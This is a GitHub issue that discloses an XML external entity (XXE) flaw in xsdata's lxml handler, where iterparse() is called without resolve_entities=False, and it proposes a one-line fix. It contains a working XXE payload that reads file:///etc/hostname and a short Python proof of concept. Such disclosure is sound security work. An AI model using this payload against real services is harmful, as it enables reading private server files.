Skip to content

XXE in LxmlEventHandler.parse() — iterparse() resolves external entities by default #1212

Description

@Xvush

LxmlEventHandler.parse() in xsdata/formats/dataclass/parsers/handlers/lxml.py calls etree.iterparse() without resolve_entities=False. this means any application using xsdata with lxml to parse untrusted XML is vulnerable to XXE (external entity injection), allowing an attacker to read arbitrary files from the server.

the call site (around line 34-40):

ctx = etree.iterparse(
    source,
    EVENTS,
    recover=True,
    remove_comments=True,
    load_dtd=self.parser.config.load_dtd,
)

load_dtd=False does NOT prevent entity resolution — it only controls whether an external DTD file is fetched. iterparse() resolves SYSTEM entities by default regardless of load_dtd. this is a common misconception in lxml usage.

confirmed through python-iso20022 (which uses xsdata): a pacs.008 payment message with <!ENTITY xxe SYSTEM "file:///etc/hostname"> in the RemittanceInformation field successfully exfiltrates the file contents.

poc:

from lxml import etree
from io import BytesIO

xml = b"""<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<Document><Payload>&xxe;</Payload></Document>"""

# this is what xsdata does internally:
ctx = etree.iterparse(BytesIO(xml), events=("start", "end"), recover=True, remove_comments=True)
for event, elem in ctx:
    if event == "end" and "Payload" in elem.tag:
        print(f"exfiltrated: {elem.text}")  # prints hostname

fix — one line:

ctx = etree.iterparse(
    source,
    EVENTS,
    recover=True,
    remove_comments=True,
    load_dtd=self.parser.config.load_dtd,
    resolve_entities=False,  # add this
)

this should be the default for any XML parser handling untrusted input. the resolve_entities=False flag tells lxml's iterparse to leave entity references as-is instead of resolving them to their replacement text.

CWE-611 (Improper Restriction of XML External Entity Reference). CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions